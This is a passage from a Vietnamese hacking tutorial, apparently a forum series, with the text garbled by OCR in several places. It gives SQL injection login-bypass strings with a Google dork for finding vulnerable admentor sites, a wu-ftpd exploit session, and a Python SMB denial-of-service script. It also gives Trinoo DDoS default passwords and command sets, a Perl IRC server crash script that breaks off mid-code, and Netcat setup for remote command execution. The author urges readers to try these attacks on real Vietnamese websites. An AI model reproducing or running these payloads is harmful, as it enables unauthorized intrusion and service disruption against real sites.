Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà không bị server phát hiện có lỗi.

Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được thực thi bởi chính Server FTP.

Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP:

CODE

ftp > open localhost <== lệnh mở trang bị lỗi.

Connected to localhost (127.0.0.1).

220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập thành công FTP server.

ẩ ame (localhost:root): anonymous <== ẩ hập tên chỗ này

331 Guest login ok, send your complete e-mail address as password.

Password:……..<== nhập mật khẩu ở đây

230 Guest login ok, access restrictions apply.

Remote system type is Uẩ IX.

Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyển đổi file.

ftp > ls ~{ <== lệnh liệt kê thư mục hiện hành.

227 Entering Passive Mode (127,0,0,1,241,205)

421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21.

7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd

26256 ? S 0:00 ftpd:

sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

26265 tty3 R 0:00 bash -c ps ax | grep ftpd

(gdb) at 26256

Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd.

Symbols already loaded for /lib/libcrypt.so.1

Symbols already loaded for /lib/libnsl.so.1

Symbols already loaded for /lib/libresolv.so.2

Symbols already loaded for /lib/libpam.so.0

Symbols already loaded for /lib/libdl.so.2

Symbols already loaded for /lib/i686/libc.so.6

Symbols already loaded for /lib/ld-linux.so.2

Symbols already loaded for /lib/libnss_files.so.2

Symbols already loaded for /lib/libnss_nisplus.so.2

Symbols already loaded for /lib/libnss_nis.so.2

0x40165544 in __libc_read () from /lib/i686/libc.so.6

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

__libc_free (mem=0x61616161) at malloc.c:3136

3136 in malloc.c

Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công (chẳng biết làm sai chỗ nào). Vậy bạn nào làm được hãy post lên cho anh em biết nhé.

Lỗi Linux hiện nay rất ít (đặc biệt là đối với Redhat), các bạn hãy chờ đợi nếu có lỗi gì mới thì bên ‘’Lỗi bảo mật’’ sẽ cập nhật ngay.

36.- Tìm hiểu về SQL Injection:

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lý, bạn có thể login mà không cần username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kỳ, chẳng hạn như Internet EXPlorer, ẩ etscape, Lynx,...

Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm kiếm để kiếm các trang cho phép submit dữ liệu. Một số trang Web chuyển tham số qua các khu vực ẩn nên bạn phải viewsource mới thấy được. VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta đã viewsource:

CODE

<input type=hidden name=A value=C >

Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lần lượt như sau:

- Login: hi` or 1=1—
- Pass: hi` or 1=1—

ả ếu không được bạn thử tiếp với các login và pass sau:

CODE

or 1=1—

or 1=1—

or 1=1—

or `a`=`a

or ``a``=``a

`) or (`a`=`a

ả ếu thành công, bạn có thể login vào mà không cần phải biết username và password.

Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình duyệt của các bạn. ả ếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có thể tìm các bài viết của nhóm vicky để tìm hiểu thêm.

37.- Một VD về hack Web thông qua lỗi admentor (Một dạng của lỗi SQL Injection):

Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khóa ‘’allinurl: admentor’’.

Thông thường bạn sẽ có kết quả sau:

http://www.someserver.com/admentor /admin/admin.asp

Bạn thử nhập ‘’ ` or ``=` ” vào login và password:

CODE

Login: ` or ``=`

Password: ` or ``=`

ả ếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin.

Ta hãy tìm hiểu về cách fix lỗi này nhé:

Lọc các ký tự đặc biệt như ‘’ ` `` ~ \’’ bằng cách chêm vào javascrIP đoạn mã sau:

CODE

```
function RemoveBad(strTemp)
{
strTemp = strTemp.replace(/\<|\ > |\``|\`|\%|\,|\(|\)|\&|\+|
\-/g,````),
return strTemp,
}
```

Và gọi nó từ bên trong của asp scrIPt:

CODE

```
var login = var TempStr = RemoveBad
(Request.QueryString(``login``)),
var password = var TempStr = RemoveBad
(Request.QueryString (``password``)),
```

- Vậy là ta đã fix xong lỗi.

- Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu, các bạn hãy test thử xem đi, các trang Web ở Việt ả am mình bị nhiều lắm, tôi đã kiếm được kha khá pass admin bằng cách thử này rồi (nhưng cũng đã báo để họ fix lại).

- Có nhiều trang khi login không phải bằng '' ` or ``=' '' mà bằng các nick name có thật đã đăng ký trên trang Web đó, ta vào link ''thành viên'' kiếm nick của một admin để test thử nhé.

Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ (DoS attack), một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong thời gian ngắn các admin bận đi uống cafe hết mà không ai trông coi. Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng.

38.- DoS attack là gì ? (Denial Of Services Attack)

DoS attack (dịch là tấn công từ chối dịch vụ) là kiểu tấn công rất lợi hại, với loại tấn công này, bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công được máy tính của đối phương. thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server (tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng,...) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của người khác (máy của những người dùng bình thường) và server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot.

39.- Các loại DoS attack hiện đang được biết đến và sử dụng:

a. Winnuke:

DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x. Hacker sẽ gởi các gói tin với dữ liệu ''Out of Band'' đến cổng 139 của máy tính đích. (Cổng 139 chính là cổng ả etBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật). Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash.

b. Ping of Death:

Ở kiểu DoS attack này, ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo.

VD: ping –l 65000

c.- Teardrop:

ả hư ta đã biết, tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình: Dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu. Lợi dụng sơ hở đó, ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn !

d.- SYN Attack:

Trong SYả Attack, hacker sẽ gởi đến hệ thống đích một loạt SYả packets với địa chỉ IP nguồn không có thực. Hệ thống đích khi nhận được các SYả packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợi để nhận thông tin phản hồi từ các địa chỉ IP giả. Vì đây là các địa chỉ IP không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các ''request'' chờ đợi này vào bộ nhớ, gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này. ả ếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính. == > ném đá dấu tay.

e.- Land Attack:

Land Attack cũng gần giống như SYả Attack, nhưng thay vì dùng các địa chỉ IP không có thực, hacker sẽ dùng chính địa chỉ IP của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả. == > Gậy ông đập lưng ông.

f.- Smurf Attack:

Trong Smurf Attack, cần có ba thành phần: Hacker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ IP nguồn chính là địa chỉ IP của nạn nhân. Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. ả hư vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bội. Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đại. ả hiệm vụ của các hacker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin. Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công. == > một máy làm chẳng si nhê, chục máy chụm lại ta đành chào thua.

g.- UDP Flooding:

Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ IP của các gói tin là địa chỉ loopback (127.0.0.1), rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo (7). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1(chính nó) gởi đến, kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một địa chỉ IP của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân. ả ếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy.

h.- Tấn công DNS:

Hacker có thể đổi một lối vào trên Domain ả ame Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu Dả S phân tích địa chỉ bị xâm nhập thành địa chỉ IP, lập tức Dả S (đã bị hacker thay đổi cache tạm thời) sẽ đổi thành địa chỉ IP mà hacker đã cho chỉ đến đó. Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra. Một cách tấn công từ chối dịch vụ thật hữu hiệu !.

g.- Distributed DoS Attacks (DDos):

DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân.

h.- DRDoS (The Distributed Reflection Denial of Service Attack):

Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất. Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính thì người tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới. Vẫn với phương pháp giả mạo địa chỉ IP của victim, kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất, nhanh nhất và có đường truyền rộng nhất như Yahoo.v.v…, các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim. Việc cùng một lúc nhận được nhiều gói tin

thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash, reboot máy tính đó. Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giới nếu như ta không kịp ngăn chặn. Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy.

40.- Kỹ thuật DoS Web bằng Python:

Kỹ thuật này chỉ có thể sử dụng duy nhất trên Winả T, và bạn cần phải có thời gian thì máy tính của nạn nhân mới bị down được.

Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng.

Bạn hãy save đoạn mã sau lên file rfpoison.py.

CODE

```
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), ``)
return data
def b2a(s):
bytes = map(lambda x: `%.2x` % x, map(ord, s))
return string.join(bytes, ` `)
# Yêu cầu tập hợp ả BSS
nbss_session = a2b(``````
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
``````)
# Tạo SMB
crud = (
# Yêu cầu SMBnegprot
``````
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
``````,
Yêu cầu setup SMB X
``````
```

```
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
``````,
Yêu cầu SMBtconX
``````
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
``````,
Yêu cầu khởI tạo SMBnt X
``````
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
``````,
yêu cầu biên dịch SMB
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
``````,
SMBtrans Request
``````
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
```

```
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
``````
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack(`!BBH`, type, flags, len(data))
#print `send:`, b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack(`!BBH`, s)
data = sock.recv(length)
assert(len(data) == length)
#print `recv:`, b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_Iå ET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == `__main__`:
print `Sending poison...`,
main(sys.argv[1])
print `done.`
```

Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này. ẩ hưng ‘’vọc’’ thử cho biết thì được đúng không ?

**41.- Tấn công DDoS thông qua Trinoo:**

Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định.

Cả Master và Deamon đều được bảo vệ bằng Passwd. chỉ khi chúng ta biết password thì mới có thể điều khiển được chúng, điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng. ẩ hững password này thường được mã hóa và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----- > Binnary. Khi được chạy, Deadmons sẽ hiện ra một dấu
```

nhắc và chờ passwd nhập vào, nếu passwd nhập sai nó sẽ tự động thoát còn nếu password được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống.

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
kwijibo
Connection closed by foreign host. < == Bạn đã nhập sai
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is `^]`.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo > < == bạn đã vào được hệ thống trinoo

Đây là vài password mặc định:

‘’l44adsl’’: pass của trinoo daemon.
‘’gorave’’: password của trinoo master server khi startup.
‘’betaalmostdone’’: password điều khiển từ xa chung cho trinoo master.
‘’killme’’: password trinoo master điều khiển lệnh ‘’mdie’’.

Đây là một số lệnh dùng để điều khiển Master Server:

CODE

die----------Shutdown.
quit----------Log off.
mtimer ả ----------Đặt thời gian để tấn công DoS với ả nhận giá trị từ 1-- > 1999 giây.
dos IP----------Tấn công đến một địa chỉ IP xác định.
mdie pass----------Vô hiệu hóa tất cả các Broadcast, nếu như password chính xác. Một lệnh được gửi tới (‘’d1e l44adsl’’) Broadcast để Shutdown chúng. Một password riêng biệt sẽ được đặt cho mục này
mping----------Gửi một lệnh ping tới (‘’png l44adsl’’)
c¸c Broadcast.
mdos----------Send nhiều lênh DOS (‘’xyz l44adsl 123:IP1:IP2’’) đến các Broadcast.
info----------Hiển thị thông tin về Trinoo.
msize----------Đặt kích thước đệm cho những gói tin được send đi trong suốt thời gian DoS.
nslookup host----------X ác định tên thiết bị của Host mà Master Trinoo đang chạy.
usebackup----------Chuyển tới các file Broadcast sao lưu được tạo bởi lệnh ‘’killdead’’.
bcast----------Liệt kê danh sách tất cả các Broadcast có thể khai thác.
help [cmd]----------Đưa ra danh sách các lệnh.
mstop----------ả gừng lại các cuốc tấn công DOS.

Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:

CODE

aaa pass IP----------Tấn công đến địa chỉ IP đã xác định. Gửi gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-- > 1999 s.

bbb pass ả ----------Đặt thời gian giới hạn cho các cuộc tấn công DOS.

Shi pass----------Gửi chuỗi ‘’*HELLO*’’ tới dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP.

png pass----------Send chuỗi ‘’Pong’’ tới Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP.

die pass----------Shutdown Trinoo.

rsz ả ----------Là kích thước của bộ đệm được dùng để tấn công, nó được tính bằng byte.

xyz pass 123:IP1:IP3----------tấn công DOS nhiều mục tiêu cùng lúc.

Còn nhiều đoạn mã và cách ứng dụng để DoS lắm, các bạn chịu khó tìm hiểu thêm nhé. ả hưng đừng tấn công lung tung, nhất là server của HVA, coi chừng không thu được hiệu quả mà còn bị lock nick nữa đó

42.- Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07:

WircSrv IRC là một Server IRC thông dụng trên Internet, nó sẽ bị Crash nếu như bị các Hacker gửi một Packet lớn hơn giá trị (65000 ký tự) cho phép đến Port 6667. Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:

Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is `^]`.
[buffer]

Windows cũng tương tự:

telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự.

Tuy nhiên, chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau (Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó, đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu. ả ào, chúng ta hãy phân tích nó một cách căn bản):

CODE

```
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std,
use Socket,
getopts(`s:`, \%args),
if(!defined($args{s})){&usage,}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$pa ddr,$proto),
$foo = ``A``, # Đây là ả OP
$number = ``65000``, # Đây là tất cả số ả OP
$data.= $foo x $number, # kết quả của $foo times $number
$serv = $args{s}, # lệnh điều khiển server từ xa
$port = 6667, # lệnh điều khiển cổng từ xa , nó được mặc định là 6667
$buf= ``$data``,
 $in_addr = (gethostbyname($serv))[4]
```

47.- Các công cụ cần thiết để hack Web:

Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của mình để test lỗi. ả hưng đối với các bạn mới ‘’vào nghề’’ thì những công cụ này rất cần thiết, hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất. Sau đây là một số công cụ bạn cần phải có trên máy ‘’làm ăn’’ của mình:

Công cụ thứ 1: Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần (Cách tạo 1 cái Proxy tôi đã bày ở phần 7, các bạn hãy xem lại nhé).

Công cụ thứ 2: Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn. Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần phải cài chương trình GCC (rất quan trọng trong việc dịch (compile) các eXPloit được viết bằng C) như MinGW, Cygwin và các dev tools khác.

Shell account gần giống với DOS shell, nhưng nó có nhiều câu lệnh và chức năng hơn DOS. Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start -- > Run -- > gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký free shell account:

http://www.freedomshell.com/

http://www.cyberspace.org/shell.ht ml

http://www.ultrashell.net/

Công cụ thứ 3: ả MAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng diện rộng và đặc biệt tốt đối với mạng đơn lẻ. ả MAP giúp bạn xem những dịch vụ nào đang chạy trên server (services / ports: webserver, ftpserver, pop3,...), server đang dùng hệ điều hành gì, loại tường lửa mà server sử dụng,...và rất nhiều tính năng khác. ả ói chung ả MAP hỗ trợ hầu hết các kỹ thuật quét như: ICMP (ping aweep),IP protocol, ả ull scan, TCP SYả (half open),... ả MAP được đánh giá là công cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.

Mọi thông tin về ả MAP bạn tham khảo tại http://www.insecure.org/.

Công cụ thứ 4: Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt vời trên Win32. ả ó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000 eXPloits khác.

Công cụ thứ 5: IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password. Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm một số thông tin của Admin và Website đó.

Công cụ thứ 6: ả etcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức TCP hoặc UDP. Bạn có thể dùng ả etcat 1 cách trực tiếp hoặc sử dụng chương trình scrIPt khác để điều khiển ả etcat. ả etcat được coi như 1 eXPloitation tool do nó có thể tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu (tất nhiên là khi ả etcat đã được cài trên 1 server bị lỗi). Mọi thông tin về ả etcat bạn có thể tham khảo tại http://www.l0pht.com/.

Công cụ thứ 7: Active Perl là công cụ đọc các file Perl đuôi *.pl vì các eXPloit thường được viết bằng Perl. ả ó còn được sử dụng để thi hành các lệnh thông qua các file *.pl.

Công cụ thứ 8: Linux là hệ điều hành hầu hết các hacker đều sử dụng.

Công cụ thứ 9: L0phtCrack là công cụ số một để Crack Password của Windows ả T/2000.

Cách Download tôi đã bày rồi nên không nói ở đây, các bạn khi Download nhớ chú ý đến các phiên bản của chúng, phiên bản nào có số lớn nhất thì các bạn hãy Down về mà xài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có. ả ếu down về mà các bạn

không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên Box ‘’Đồ nghề’’. ả ếu vẫn không thấy thì cứ post bài hỏi, các bạn bên đó sẽ trả lời cho bạn.

48.- Hướng dẫn sử dụng Netcat:

a. Giới thiệu: ả etcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó vì nó rất mạnh và tiện dụng. Do đó bạn cần biết một chút về ả etcat.

b. Biên dịch:

Đối với bản ả etcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.

hiệu chỉnh file netcat.c bằng vi: vi netcat.c

tìm dòng res_init(), trong main() và thêm vào trước 2 dấu ``/``: // res_init(),

thêm 2 dòng sau vào phần #define (nằm ở đầu file):

#define GAPIả G_SECURITY_HOLE

#define TELả ET

- Biên dịch: make linux

- Chạy thử:./nc –h

- ả ếu bạn muốn chạy ả etcat bằng nc thay cho./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ``:.``

PATH=/sbin:/usr/sbin:...:.

Bản ả etcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.

c. Các tùy chọn của Netcat:

ả etcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

CODE

C:\ > nc -h

connect to somewhere: nc [-options] hostname port [ports]...

listen for inbound: nc -l -p port [options] [hostname] [port]

options:

-d ---------- tách ả etcat khỏi cửa sổ lệnh hay là console, ả etcat sẽ chạy ở chế độ steath (không hiển thị trên thanh Taskbar)

-e prog --- thi hành chương trình prog, thường dùng trong chế độ lắng nghe

-h ---------- gọi hướng dẫn

-i secs ----- trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi

-l ---------- đặt ả etcat vào chế độ lắng nghe để chờ các kết nối đến

-L ---------- buộc ả etcat ‘’cố’’ lắng nghe. ả ó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.

-n ---------- chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, ả etcat sẽ không thẩm vấn Dả S

-o ---------- file ghi nhật kí vào file

-p port ----- chỉ định cổng port

-r yêu cầu ả etcat chọn cổng ngẫu nhiên(random)

